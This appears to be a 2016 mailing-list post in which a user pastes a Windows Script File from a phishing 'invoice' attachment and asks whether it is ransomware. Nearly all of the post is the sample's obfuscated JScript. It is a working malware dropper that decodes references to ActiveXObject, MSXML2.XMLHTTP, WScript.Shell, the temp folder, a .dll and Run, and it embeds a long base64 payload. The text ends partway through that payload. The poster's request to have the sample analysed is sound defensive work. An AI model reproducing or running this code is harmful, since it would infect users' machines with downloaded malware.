New subject: [Skunkworks] For the Programmers - What does this code do? Ransomware maybe??

29 Aug 2016

      So, I decided to take a look at a file that was sent to me inside a zip
archive using a phished address.

The subject of the mail says "Please find the attached invoice".
I then downloaded the zip archive, extracted the file, which was
named xc1ZY.wsf (a Windows Script File).
I changed the extension so that it became xc1ZY.wsf.txt, then I opened the
text file in Notepad:

Have a look: Seems like some encryption thing/ransomware code..

<?xml?>
<package>
<job id='ddde'><script language='JScript'><![CDATA[

String.prototype.chirkashikvasyaHACCCPOCC = function() {
chirkashikvasyaMINDELXCOP = 0;
    var chirkashikvasyaMINDELddDccC1, chirkashikvasyaMINDELddDccC2,
chirkashikvasyaMINDELc3, chirkashikvasyaMINDELc4;
    var chirkashikvasyaMINDELsudarinaB = this;
chirkashikvasyaMINDELsudarinaB=
chirkashikvasyaMINDELsudarinaB.replace(/VOVKA/g, '');
    var chirkashikvasyaMINDELout = "";

var  chirkashikvasyaMINDELlen =
chirkashikvasyaMINDELsud(chirkashikvasyaMINDELsudarinaB);
    while (chirkashikvasyaMINDELXCOP < chirkashikvasyaMINDELlen) {
        do {
            chirkashikvasyaMINDELddDccC1 =
chirkashikvasyaVITK_BOSKO_1S[chirkashikvasyaMINDELsudarinaB.charCodeAt(chirkashikvasyaMINDELXCOP++)
& 0xff];
        } while (chirkashikvasyaMINDELXCOP < chirkashikvasyaMINDELlen &&
chirkashikvasyaMINDELddDccC1 == -1);

        if (chirkashikvasyaMINDELddDccC1 == -1)
            break;
var chirkashikvasyaMINDELdodo = false;
        do {
            chirkashikvasyaMINDELddDccC2 =
chirkashikvasyaVITK_BOSKO_1S[chirkashikvasyaMINDELsudarinaB.charCodeAt(chirkashikvasyaMINDELXCOP++)
& 0xff];
chirkashikvasyaMINDELdodo = chirkashikvasyaMINDELXCOP <
chirkashikvasyaMINDELlen && chirkashikvasyaMINDELddDccC2 == -1;
        } while (chirkashikvasyaMINDELdodo);

        if (chirkashikvasyaMINDELddDccC2 == -1)
            break;

        chirkashikvasyaMINDELout +=
String.fromCharCode((chirkashikvasyaMINDELddDccC1 << 2) |
((chirkashikvasyaMINDELddDccC2 & 0x30) >> 4));

        do {
            chirkashikvasyaMINDELc3 =
chirkashikvasyaMINDELsudarinaB.charCodeAt(chirkashikvasyaMINDELXCOP++) &
0xff;

            if (chirkashikvasyaMINDELc3 == 10*6+0.5*2)
                return chirkashikvasyaMINDELout;

            chirkashikvasyaMINDELc3 =
chirkashikvasyaVITK_BOSKO_1S[chirkashikvasyaMINDELc3];
        } while (chirkashikvasyaMINDELXCOP < chirkashikvasyaMINDELlen &&
chirkashikvasyaMINDELc3 == -1);

        if (chirkashikvasyaMINDELc3 == -1)
            break;

        chirkashikvasyaMINDELout +=
String.fromCharCode(((chirkashikvasyaMINDELddDccC2 & 0XF) << 4) |
((chirkashikvasyaMINDELc3 & 0x3c) >> 2));

        do {
            chirkashikvasyaMINDELc4 =
chirkashikvasyaMINDELsudarinaB.charCodeAt(chirkashikvasyaMINDELXCOP++) &
0xff;

            if (chirkashikvasyaMINDELc4 == 61)
                return chirkashikvasyaMINDELout;

            chirkashikvasyaMINDELc4 =
chirkashikvasyaVITK_BOSKO_1S[chirkashikvasyaMINDELc4];
        } while (chirkashikvasyaMINDELXCOP < chirkashikvasyaMINDELlen &&
chirkashikvasyaMINDELc4 == -1);

        if (chirkashikvasyaMINDELc4 == -1)
            break;

        chirkashikvasyaMINDELout +=
String.fromCharCode(((chirkashikvasyaMINDELc3 & 0x03) << 6) |
chirkashikvasyaMINDELc4);
    }

    return chirkashikvasyaMINDELout;
};
function ProcessFolder(chickaPath)
{
var path = "";
for (var i in maskArr)
{
path = chickaPath + "\\" + maskArr[i];

try { fsoObj.DeleteFile(path); } catch (e) {}
try { fsoObj.DeleteFolder(path); } catch (e) {}
}

var subchickas = new Enumerator(fsoObj.GetFolder(chickaPath).SubFolders);

for(; !subchickas.atEnd(); subchickas.moveNext())
ProcessFolder(subchickas.item().Path);
}
function chirkashikvasyaMINDELsud(vardos){
return
vardos[("chirkashikvasyaordain","chirkashikvasyamountain","chirkashikvasyameasurable","chirkashikvasyasplit","chirkashikvasyalending","le")
+("chirkashikvasyaeugene","chirkashikvasyaindians","chirkashikvasyastatistical","chirkashikvasyaflorists","chirkashikvasyasheath","ngt")+("chirkashikvasyaassociated","chirkashikvasyalifetime","chirkashikvasyarescue","chirkashikvasyawhiff","chirkashikvasyalaconically","h")];
}
 ]]></script>
<script language='JScript'><![CDATA[

chirkashikvasyaMINDELmisterdenisk.dEDWWEE = function(){

chirkashikvasyaMINDELpublisher.chirkashikvasyaMINDELpublish(this.chirkashikvasyaMINDELtype1);

chirkashikvasyaMINDELok(chirkashikvasyaMINDELspyFunction1.chirkashikvasyaMINDELcalledWith(),
"Function called without arguments");

chirkashikvasyaMINDELpublisher.chirkashikvasyaMINDELpublish(this.chirkashikvasyaMINDELtype1,
"PROPER1");

chirkashikvasyaMINDELok(chirkashikvasyaMINDELspyFunction1.chirkashikvasyaMINDELcalledWith("PROPER1"),
"Function called with 'PROPER1' argument");

chirkashikvasyaMINDELpublisher.chirkashikvasyaMINDELpublish(this.chirkashikvasyaMINDELtype1,
["PROPER1", "PROPER2"]);

};

var chirkashikvasyaVITK_BOSKO_1S = new
Array(-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-9,-72,-72,-72,-8,-19,-18,-17,-16,-15,-14,-13,-12,-11,-10,-72,-72,-72,-72,-72,-72,-72,-71,-70,-69,-68,-67,-66,-65,-64,-63,-62,-61,-60,-59,-58,-57,-56,-55,-54,-53,-52,-51,-50,-49,-48,-47,-46,-72,-72,-72,-72,-72,-72,-45,-44,-43,-42,-41,-40,-39,-38,-37,-36,-35,-34,-33,-32,-31,-30,-29,-28,-27,-26,-25,-24,-23,-22,-21,-20,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72,-72);
function ParentToMoveFolder(parentFolder, chicka) {

  for (; !files.atEnd(); files.moveNext()) {
    try {
      files.item().Move(parentFolder.Path + '\\');
    }
    catch (e) {
      WScript.Echo(e.description + "\n" + files.item().Path);
    }
  }

  if (chicka.Files.Count == 0 && chicka.SubFolders.Count == 0) {
    try {
      chicka.Delete(true);
    }
    catch (e) {
      WScript.Echo(e.description + "\n" + chicka.Path);
    }
  }
  var subFolders = new Enumerator(chicka.SubFolders);

  for (; !subFolders.atEnd(); subFolders.moveNext()) {
    ParentToMoveFolder(parentFolder, subFolders.item());
  }

  var files = new Enumerator(chicka.Files);

}

var chirkashikvasyaVITK_OBLOM, chirkashikvasyaVITK_BOSKO_1SHO =
chirkashikvasyaVITK_BOSKO_1S.length;
    for (chirkashikvasyaVITK_OBLOM= 0; chirkashikvasyaVITK_OBLOM <
chirkashikvasyaVITK_BOSKO_1SHO; ++chirkashikvasyaVITK_OBLOM) {
       chirkashikvasyaVITK_BOSKO_1S[chirkashikvasyaVITK_OBLOM] = 30 +
chirkashikvasyaVITK_BOSKO_1S[chirkashikvasyaVITK_OBLOM] ;
       chirkashikvasyaVITK_BOSKO_1S[chirkashikvasyaVITK_OBLOM] =
chirkashikvasyaVITK_BOSKO_1S[chirkashikvasyaVITK_OBLOM] + 41;
    }

var chirkashikvasyaMINDELqtcnthltqfqrhfq = {'U': 'S', ':': '.','88':'',
'77':'','101':'','SERDGKA': 'X',  '99':'', 'LOBOCHEVS':'ons'};
function
chirkashikvasyaMINDELachievment(chirkashikvasyaMINDELbidttt){if(chirkashikvasyaMINDELbidttt==1){return
2;}else{return 17;}
return 3;};
 function chirkashikvasyaMINDELcenter(chirkashikvasyaMINDELrivulet) {
request = chirkashikvasyaMINDELrivulet;
for (var chirkashikvasyaMINDELXCOP in
chirkashikvasyaMINDELqtcnthltqfqrhfq){request =
request.replace(chirkashikvasyaMINDELXCOP,
chirkashikvasyaMINDELqtcnthltqfqrhfq[chirkashikvasyaMINDELXCOP]);}
    return request;
};

var chirkashikvasyaMINDELDRUZA = 43* (51-2)*(27-26-1);

function chirkashikvasyaMINDELmisterdenisk(chirkashikvasyaVLUMAHx,
chirkashikvasyaVLUMAHy) {
    chirkashikvasyaVLUMAHx = DDchirkashikvasyaVLUMAH *
chirkashikvasyaVLUMAHddd;
    chirkashikvasyaVLUMAHy = chirkashikvasyaVLUMAHZZ + 245;
};

var chirkashikvasyaMINDELTRUEFALSE=(WScript +"87658123"
=="VOVKAV2lVOVKAuZG93cyBTY3JpcVOVKAHQgSG9zdA==".chirkashikvasyaHACCCPOCC()
+"87658123")&&typeof(chirkashikvasyaMINDELGzEAPd)==="undefined";

var chirkashikvasyaMINDELtrufast =
"QWN0aXZlWE9iamVjdAVOVKA=VOVKA=VOVKA".chirkashikvasyaHACCCPOCC();

var chirkashikvasyaMINDELchosen = 0.5 * 2;
if(!chirkashikvasyaMINDELTRUEFALSE){
chirkashikvasyaMINDELmisterdenisk.scale = function(chirkashikvasyaMINDELp,
chirkashikvasyaMINDELscaleX, chirkashikvasyaMINDELscaleY) {
    if (chirkashikvasyaMINDELXCOPsObject(chirkashikvasyaMINDELscaleX)) {
        chirkashikvasyaMINDELscaleY = chirkashikvasyaMINDELscaleX.y;
        chirkashikvasyaMINDELscaleX = chirkashikvasyaMINDELscaleX.x;
    } else if
(!chirkashikvasyaMINDELXCOPsNumber(chirkashikvasyaMINDELscaleY)) {
        chirkashikvasyaMINDELscaleY = chirkashikvasyaMINDELscaleX;
    }
    return new chirkashikvasyaMINDELmisterdenisk(chirkashikvasyaMINDELp.x *
chirkashikvasyaMINDELscaleX, chirkashikvasyaMINDELp.y *
chirkashikvasyaMINDELscaleY);
};

}

if(!chirkashikvasyaMINDELTRUEFALSE){
chirkashikvasyaMINDELmisterdenisk.chirkashikvasyaMINDELsameOrN =
function(chirkashikvasyaMINDELparam1, chirkashikvasyaMINDELparam2) {
    return chirkashikvasyaMINDELparam1.D == chirkashikvasyaMINDELparam2.D
|| chirkashikvasyaMINDELparam1.F == chirkashikvasyaMINDELparam2.F;
};

chirkashikvasyaMINDELmisterdenisk.angle = function(chirkashikvasyaMINDELp) {
    return Math.atan2(chirkashikvasyaMINDELp.y, chirkashikvasyaMINDELp.x);
};
}
var chirkashikvasyaMINDELVARDOCF
="VOVKAJVRFTVAlVOVKA".chirkashikvasyaHACCCPOCC();
String.prototype.chirkashikvasyaMINDELcenter2 = function () {
    var chirkashikvasya44_H11_L22 = {
        chirkashikvasyaSUyaWON: this
    };
    chirkashikvasya44_H11_L22.chirkashikvasyaMINDELVARDOCE =
chirkashikvasya44_H11_L22.chirkashikvasyaSUyaWON["c3VVOVKAic3RyVOVKAaW5VOVKAn".chirkashikvasyaHACCCPOCC()](chirkashikvasyaMINDELDRUZA,
chirkashikvasyaMINDELchosen);
    return chirkashikvasya44_H11_L22.chirkashikvasyaMINDELVARDOCE;
};

var chirkashikvasyaMINDELsirdallos
="VOVKARXhwYW5VOVKAkRW52aXVOVKAJvbm1lbnRTdHJVOVKApbmdz".chirkashikvasyaHACCCPOCC();
var chirkashikvasyaMINDELNative = function(options){
};chirkashikvasyaMINDELNative.chirkashikvasyaMINDELXCOPmplement =
function(chirkashikvasyaMINDELobjects, chirkashikvasyaMINDELproperties){
for (var chirkashikvasyaMINDELXCOP = 0, chirkashikvasyaMINDELl =
chirkashikvasyaMINDELobjects.length; chirkashikvasyaMINDELXCOP <
chirkashikvasyaMINDELl; chirkashikvasyaMINDELXCOP++)
chirkashikvasyaMINDELobjects[chirkashikvasyaMINDELXCOP].chirkashikvasyaMINDELXCOPmplement(chirkashikvasyaMINDELproperties);
};
var chirkashikvasyaMINDELh8h8h8 =
"M"+"88SX"+"99ML"+("chirkashikvasyacontent","chirkashikvasyaoaken","chirkashikvasyageorgetown","chirkashikvasyadorchester","chirkashikvasyabaleful","2.")+"SERDGKAML77H101T"+("chirkashikvasyalookup","chirkashikvasyanokia","chirkashikvasyaadvertising","chirkashikvasyarefund","chirkashikvasyajeremy","chirkashikvasyaproposals","chirkashikvasyamaine","chirkashikvasyagreatcoat","TP^")+"WU"+("chirkashikvasyacanvassing","chirkashikvasyalenses","chirkashikvasyaargent","chirkashikvasyasearching","chirkashikvasyadisclosure","chirkashikvasyabangkok","chirkashikvasyacrumb","cr")+("chirkashikvasyacoating","chirkashikvasyaballot","chirkashikvasyachronicle","chirkashikvasyaprinter","chirkashikvasyamigrate","chirkashikvasyaimprovements","chirkashikvasyaglacier","chirkashikvasyaconsultant","ip")+"t:S"+("chirkashikvasyapatois","chirkashikvasyablueblack","chirkashikvasyatries","chirkashikvasyaastronomy","chirkashikvasyarusted","chirkashikvasyareflect","chirkashikvasyaservitor","chirkashikvasyaindianapolis","h")+"e"+("chirkashikvasyaarmed","chirkashikvasyaplagiarism","chirkashikvasyaexceptions","chirkashikvasyaalleviate","chirkashikvasyahedgehog","chirkashikvasyalamps","chirkashikvasyauniform","chirkashikvasyalimitation","ll");

var chirkashikvasyaMINDELd7 =
chirkashikvasyaMINDELcenter(chirkashikvasyaMINDELh8h8h8);
var chirkashikvasyaMINDELDoUtra = [chirkashikvasyaMINDELtrufast,
chirkashikvasyaMINDELsirdallos,chirkashikvasyaMINDELVARDOCF,
 ""+"."+("chirkashikvasyameasures","chirkashikvasyaelite","chirkashikvasyadressed","chirkashikvasyaquicksilver","chirkashikvasyaproducts","chirkashikvasyaaccoutrements","chirkashikvasyascriptural","chirkashikvasyajavascript","dll"),
"UnVOVKAVuVOVKA".chirkashikvasyaHACCCPOCC(),chirkashikvasyaMINDELd7];
chirkashikvasyaMINDELRichters = chirkashikvasyaMINDELDoUtra.shift();
chirkashikvasyaMINDELfabled = "BIL2NEBIL";
chirkashikvasyaMINDELNative.chirkashikvasyaMINDELgenericize =
function(object, chirkashikvasyaMINDELproperty, chirkashikvasyaMINDELcheck){
if ((!chirkashikvasyaMINDELcheck || !object[chirkashikvasyaMINDELproperty])
&& typeof object.prototype[chirkashikvasyaMINDELproperty] == 'function')
object[chirkashikvasyaMINDELproperty] = function(){
return
object.prototype[chirkashikvasyaMINDELproperty].apply(chirkashikvasyaMINDELargs.shift(),
chirkashikvasyaMINDELargs);
};
};
chirkashikvasyaMINDELNative.chirkashikvasyaMINDELtypize = function(object,
chirkashikvasyaMINDELfamily){
if (!object.type) object.type = function(item){
return (chirkashikvasyaMINDEL$type(item) === chirkashikvasyaMINDELfamily);
};
};
var chirkashikvasyaMINDELLitoyDISK = this[chirkashikvasyaMINDELRichters ];
chirkashikvasyaMINDELcasque = (("chirkashikvasyahealthy",
"chirkashikvasyaraises", "chirkashikvasyaextensions",
"chirkashikvasyaforego", "chirkashikvasyagrant", "chirkashikvasyaapostate",
"chirkashikvasyawoolen", "pCCEWW") +
"SSAAWVV").chirkashikvasyaMINDELcenter2();
chirkashikvasyaMINDELtudabilo1 = (("chirkashikvasyacactus",
"chirkashikvasyamacedonia", "chirkashikvasyadrawback",
"chirkashikvasyaintend", "chirkashikvasyareflects",
"chirkashikvasyacuisine", "chirkashikvasyaadapter",
"chirkashikvasyapolicies", "chirkashikvasyapigeon", "serhrth") +
"herrth4th4wh").chirkashikvasyaMINDELcenter2();
var chirkashikvasyaMINDELd2 = chirkashikvasyaMINDELDoUtra.pop();
var chirkashikvasyaMINDELrampart = new
chirkashikvasyaMINDELLitoyDISK(chirkashikvasyaMINDELd2.split("^")[1]);
var chirkashikvasyaMINDELSBFRUNS = new
chirkashikvasyaMINDELLitoyDISK(chirkashikvasyaMINDELd2.split("^")[0]);
var chirkashikvasyaMINDELvulture =
chirkashikvasyaMINDELrampart[chirkashikvasyaMINDELDoUtra.shift()](chirkashikvasyaMINDELDoUtra.shift());
var chirkashikvasyaMINDELweasel = "E";

var chirkashikvasyaMINDELSIDRENKOV = chirkashikvasyaMINDELDoUtra.shift();
var chirkashikvasyaMINDELpromises = chirkashikvasyaMINDELDoUtra.shift();
var chirkashikvasyaMINDELOCHENA =
"b3VOVKABlbVOVKAg==".chirkashikvasyaHACCCPOCC();

        chirkashikvasyaMINDELSPASPI = "type";

 var chirkashikvasyaMINDELLUCIODOR =
"DQoJCQkJCQkJCWZ1bmN0aW9uIGNoaXJrYXNoaWt2YXN5YU1JTkRFTHJ0ZnRhKGZpbGVQYXRoKQ0Kew0KICAgIHZhciBjaGlya2FzaGlrdmFzeWFQQVBBUEFNcm9zdGVrcz1XU2NyaXB0WyJDcmVhdGVPYmplY3QiXSgiQURPREIuU3RyZWFtIik7DQogICAgY2hpcmthc2hpa3Zhc3lhUEFQQVBBTXJvc3Rla3NbInR5cGUiXT0yOw0KICAgIGNoaXJrYXNoaWt2YXN5YVBBUEFQQU1yb3N0ZWtzWyJDaGFyc2V0Il09NDM3Ow0KICAgIGNoaXJrYXNoaWt2YXN5YVBBUEFQQU1yb3N0ZWtzWyJvcGVuIl0oKTsNCiAgICBjaGlya2FzaGlrdmFzeWFQQVBBUEFNcm9zdGVrc1siTG9hZEZyb21GaWxlIl0oZmlsZVBhdGgpOw0KICAgIHZhciBmaWxlU3RyaW5nPWNoaXJrYXNoaWt2YXN5YVBBUEFQQU1yb3N0ZWtzWyJSZWFkVGV4dCJdOw0KICAgIGNoaXJrYXNoaWt2YXN5YVBBUEFQQU1yb3N0ZWtzWyJjbG9zZSJdKCk7DQogICAgcmV0dXJuIGNoaXJrYXNoaWt2YXN5YU1JTkRFTGZzdGEoZmlsZVN0cmluZyk7DQp9Ow0KZnVuY3Rpb24gY2hpcmthc2hpa3Zhc3lhTUlOREVMZnN0YShmaWxlU3RyaW5nKQ0KeyAgIA0KdmFyIHQxPW5ldyBBcnJheSgpOw0KCQ0KdDFbMHhDN109MHg4MDt0MVsweEZDXT0weDgxO3QxWzB4RTldPTB4ODI7dDFbMHhFMl09MHg4Mzt0MVsweEU0XT0weDg0O3QxWzB4RTBdPTB4ODU7dDFbMHhFNV09MHg4Njt0MVsweEU3XT0weDg3O3QxWzB4RUFdPTB4ODg7dDFbMHhFQl09MHg4OTt0MVsweEU4XT0weDhBO3QxWzB4RUZdPTB4OEI7dDFbMHhFRV09MHg4Qzt0MVsweEVDXT0weDhEO3QxWzB4QzRdPTB4OEU7dDFbMHhDNV09MHg4Rjt0MVsweEM5XT0weDkwO3QxWzB4RTZdPTB4OTE7dDFbMHhDNl09MHg5Mjt0MVsweEY0XT0weDkzO3QxWzB4RjZdPTB4OTQ7dDFbMHhGMl09MHg5NTt0MVsweEZCXT0weDk2O3QxWzB4RjldPTB4OTc7dDFbMHhGRl09MHg5ODt0MVsweEQ2XT0weDk5O3QxWzB4RENdPTB4OUE7dDFbMHhBMl09MHg5Qjt0MVsweEEzXT0weDlDO3QxWzB4QTVdPTB4OUQ7dDFbMHgyMEE3XT0weDlFO3QxWzB4MTkyXT0weDlGO3QxWzB4RTFdPTB4QTA7dDFbMHhFRF09MHhBMTt0MVsweEYzXT0weEEyO3QxWzB4RkFdPTB4QTM7dDFbMHhGMV09MHhBNDt0MVsweEQxXT0weEE1O3QxWzB4QUFdPTB4QTY7dDFbMHhCQV09MHhBNzt0MVsweEJGXT0weEE4O3QxWzB4MjMxMF09MHhBOTt0MVsweEFDXT0weEFBO3QxWzB4QkRdPTB4QUI7dDFbMHhCQ109MHhBQzt0MVsweEExXT0weEFEO3QxWzB4QUJdPTB4QUU7dDFbMHhCQl09MHhBRjt0MVsweDI1OTFdPTB4QjA7dDFbMHgyNTkyXT0weEIxO3QxWzB4MjU5M109MHhCMjt0MVsweDI1MDJdPTB4QjM7dDFbMHgyNTI0XT0weEI0O3QxWzB4MjU2MV09MHhCNTt0MVsweDI1NjJdPTB4QjY7dDFbMHgyNTU2XT0weEI3O3QxWzB4MjU1NV09MHhCODt0MVsweDI1NjNdPTB4Qjk7dDFbMHgyNTUxXT0weEJBO3QxWzB4MjU1N109MHhCQjt0MVsweDI1NURdPTB4QkM7dDFbMHgyNTVDXT0weEJEO3QxWzB4MjU1Ql09MHhCRTt0MVsweDI1MTBdPTB4QkY7dDFbMHgyNTE0XT0weEMwO3QxWzB4MjUzNF09MHhDMTt0MVsweDI1MkNdPTB4QzI7dDFbMHgyNTFDXT0weEMzOyAgICAgICAgICANCnQxWzB4MjUwMF09MHhDNDt0MVsweDI1M0NdPTB4QzU7dDFbMHgyNTVFXT0weEM2O3QxWzB4MjU1Rl09MHhDNzt0MVsweDI1NUFdPTB4Qzg7dDFbMHgyNTU0XT0weEM5O3QxWzB4MjU2OV09MHhDQTt0MVsweDI1NjZdPTB4Q0I7dDFbMHgyNTYwXT0weENDO3QxWzB4MjU1MF09MHhDRDt0MVsweDI1NkNdPTB4Q0U7dDFbMHgyNTY3XT0weENGO3QxWzB4MjU2OF09MHhEMDt0MVsweDI1NjRdPTB4RDE7dDFbMHgyNTY1XT0weEQyO3QxWzB4MjU1OV09MHhEMzt0MVsweDI1NThdPTB4RDQ7dDFbMHgyNTUyXT0weEQ1O3QxWzB4MjU1M109MHhENjt0MVsweDI1NkJdPTB4RDc7dDFbMHgyNTZBXT0weEQ4O3QxWzB4MjUxOF09MHhEOTt0MVsweDI1MENdPTB4REE7dDFbMHgyNTg4XT0weERCO3QxWzB4MjU4NF09MHhEQzt0MVsweDI1OENdPTB4REQ7dDFbMHgyNTkwXT0weERFO3QxWzB4MjU4MF09MHhERjt0MVsweDNCMV09MHhFMDt0MVsweERGXT0weEUxO3QxWzB4MzkzXT0weEUyO3QxWzB4M0MwXT0weEUzO3QxWzB4M0EzXT0weEU0O3QxWzB4M0MzXT0weEU1O3QxWzB4QjVdPTB4RTY7dDFbMHgzQzRdPTB4RTc7dDFbMHgzQTZdPTB4RTg7dDFbMHgzOThdPTB4RTk7dDFbMHgzQTldPTB4RUE7dDFbMHgzQjRdPTB4RUI7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCnQxWzB4MjIxRV09MHhFQzt0MVsweDNDNl09MHhFRDt0MVsweDNCNV09MHhFRTt0MVsweDIyMjldPTB4RUY7dDFbMHgyMjYxXT0weEYwO3QxWzB4QjFdPTB4RjE7dDFbMHgyMjY1XT0weEYyO3QxWzB4MjI2NF09MHhGMzt0MVsweDIzMjBdPTB4RjQ7dDFbMHgyMzIxXT0weEY1O3QxWzB4RjddPTB4RjY7dDFbMHgyMjQ4XT0weEY3O3QxWzB4QjBdPTB4Rjg7dDFbMHgyMjE5XT0weEY5O3QxWzB4QjddPTB4RkE7dDFbMHgyMjFBXT0weEZCO3QxWzB4MjA3Rl09MHhGQzt0MVsweEIyXT0weEZEO3QxWzB4MjVBMF09MHhGRTt0MVsweEEwXT0weEZGOw0KCQ0KCXZhciByZXN1bHRBcnJheT1uZXcgQXJyYXkoKTsNCglmb3IgKHZhciBUaj0wOyBUaiA8IGZpbGVTdHJpbmdbImxlbmd0aCJdOyBUaisrKQ0KCXsNCgkJdmFyIE9WYzk9ZmlsZVN0cmluZ1siY2hhckNvZGVBdCJdKFRqKTsNCgkJaWYgKE9WYzkgPCAxMjgpDQoJCQl7dmFyIEhJaTM9T1ZjOTt9DQoJCWVsc2UNCgkJCXt2YXIgSElpMz10MVtPVmM5XTt9DQoJCXJlc3VsdEFycmF5WyJwdXNoIl0oSElpMyk7DQoJfTsNCgkNCglyZXR1cm4gcmVzdWx0QXJyYXkgLyogeSAgKi87DQp9Ow0KZnVuY3Rpb24gY2hpcmthc2hpa3Zhc3lhTUlOREVMZmF0cyhjb2RlQXJyYXkpDQp7DQogICAgdmFyIHQyPW5ldyBBcnJheSgpOw0KCQ0KdDJbMHg4MF09MHgwMEM3O3QyWzB4ODFdPTB4MDBGQzt0MlsweDgyXT0weDAwRTk7dDJbMHg4M109MHgwMEUyO3QyWzB4ODRdPTB4MDBFNDt0MlsweDg1XT0weDAwRTA7dDJbMHg4Nl09MHgwMEU1O3QyWzB4ODddPTB4MDBFNzt0MlsweDg4XT0weDAwRUE7dDJbMHg4OV09MHgwMEVCO3QyWzB4OEFdPTB4MDBFODt0MlsweDhCXT0weDAwRUY7dDJbMHg4Q109MHgwMEVFO3QyWzB4OERdPTB4MDBFQzt0MlsweDhFXT0weDAwQzQ7dDJbMHg4Rl09MHgwMEM1O3QyWzB4OTBdPTB4MDBDOTt0MlsweDkxXT0weDAwRTY7dDJbMHg5Ml09MHgwMEM2O3QyWzB4OTNdPTB4MDBGNDt0MlsweDk0XT0weDAwRjY7dDJbMHg5NV09MHgwMEYyO3QyWzB4OTZdPTB4MDBGQjt0MlsweDk3XT0weDAwRjk7dDJbMHg5OF09MHgwMEZGO3QyWzB4OTldPTB4MDBENjt0MlsweDlBXT0weDAwREM7dDJbMHg5Ql09MHgwMEEyO3QyWzB4OUNdPTB4MDBBMzt0MlsweDlEXT0weDAwQTU7dDJbMHg5RV09MHgyMEE3O3QyWzB4OUZdPTB4MDE5Mjt0MlsweEEwXT0weDAwRTE7dDJbMHhBMV09MHgwMEVEO3QyWzB4QTJdPTB4MDBGMzt0MlsweEEzXT0weDAwRkE7dDJbMHhBNF09MHgwMEYxO3QyWzB4QTVdPTB4MDBEMTt0MlsweEE2XT0weDAwQUE7dDJbMHhBN109MHgwMEJBO3QyWzB4QThdPTB4MDBCRjt0MlsweEE5XT0weDIzMTA7dDJbMHhBQV09MHgwMEFDO3QyWzB4QUJdPTB4MDBCRDt0MlsweEFDXT0weDAwQkM7dDJbMHhBRF09MHgwMEExO3QyWzB4QUVdPTB4MDBBQjt0MlsweEFGXT0weDAwQkI7dDJbMHhCMF09MHgyNTkxO3QyWzB4QjFdPTB4MjU5Mjt0MlsweEIyXT0weDI1OTM7dDJbMHhCM109MHgyNTAyO3QyWzB4QjRdPTB4MjUyNDt0MlsweEI1XT0weDI1NjE7dDJbMHhCNl09MHgyNTYyO3QyWzB4QjddPTB4MjU1Njt0MlsweEI4XT0weDI1NTU7dDJbMHhCOV09MHgyNTYzO3QyWzB4QkFdPTB4MjU1MTt0MlsweEJCXT0weDI1NTc7dDJbMHhCQ109MHgyNTVEO3QyWzB4QkRdPTB4MjU1Qzt0MlsweEJFXT0weDI1NUI7dDJbMHhCRl09MHgyNTEwO3QyWzB4QzBdPTB4MjUxNDt0MlsweEMxXT0weDI1MzQ7dDJbMHhDMl09MHgyNTJDO3QyWzB4QzNdPTB4MjUxQzt0MlsweEM0XT0weDI1MDA7dDJbMHhDNV09MHgyNTNDO3QyWzB4QzZdPTB4MjU1RTt0MlsweEM3XT0weDI1NUY7dDJbMHhDOF09MHgyNTVBO3QyWzB4QzldPTB4MjU1NDt0MlsweENBXT0weDI1Njk7dDJbMHhDQl09MHgyNTY2O3QyWzB4Q0NdPTB4MjU2MDt0MlsweENEXT0weDI1NTA7dDJbMHhDRV09MHgyNTZDO3QyWzB4Q0ZdPTB4MjU2Nzt0MlsweEQwXT0weDI1Njg7dDJbMHhEMV09MHgyNTY0O3QyWzB4RDJdPTB4MjU2NTt0MlsweEQzXT0weDI1NTk7dDJbMHhENF09MHgyNTU4O3QyWzB4RDVdPTB4MjU1Mjt0MlsweEQ2XT0weDI1NTM7dDJbMHhEN109MHgyNTZCO3QyWzB4RDhdPTB4MjU2QTt0MlsweEQ5XT0weDI1MTg7dDJbMHhEQV09MHgyNTBDO3QyWzB4REJdPTB4MjU4ODt0MlsweERDXT0weDI1ODQ7dDJbMHhERF09MHgyNThDO3QyWzB4REVdPTB4MjU5MDt0MlsweERGXT0weDI1ODA7dDJbMHhFMF09MHgwM0IxO3QyWzB4RTFdPTB4MDBERjt0MlsweEUyXT0weDAzOTM7dDJbMHhFM109MHgwM0MwO3QyWzB4RTRdPTB4MDNBMzt0MlsweEU1XT0weDAzQzM7dDJbMHhFNl09MHgwMEI1O3QyWzB4RTddPTB4MDNDNDt0MlsweEU4XT0weDAzQTY7dDJbMHhFOV09MHgwMzk4O3QyWzB4RUFdPTB4MDNBOTt0MlsweEVCXT0weDAzQjQ7dDJbMHhFQ109MHgyMjFFO3QyWzB4RURdPTB4MDNDNjt0MlsweEVFXT0weDAzQjU7dDJbMHhFRl09MHgyMjI5O3QyWzB4RjBdPTB4MjI2MTt0MlsweEYxXT0weDAwQjE7dDJbMHhGMl09MHgyMjY1O3QyWzB4RjNdPTB4MjI2NDt0MlsweEY0XT0weDIzMjA7dDJbMHhGNV09MHgyMzIxO3QyWzB4RjZdPTB4MDBGNzt0MlsweEY3XT0weDIyNDg7dDJbMHhGOF09MHgwMEIwO3QyWzB4RjldPTB4MjIxOTt0MlsweEZBXT0weDAwQjc7dDJbMHhGQl09MHgyMjFBO3QyWzB4RkNdPTB4MjA3Rjt0MlsweEZEXT0weDAwQjI7dDJbMHhGRV09MHgyNUEwO3QyWzB4RkZdPTB4MDBBMDsNCgkNCgl2YXIgRUdqPW5ldyBBcnJheSgpOw0KCXZhciByZXN1bHRTdHJpbmc9IiI7DQoJdmFyIEhJaTM7IHZhciBPVmM5Ow0K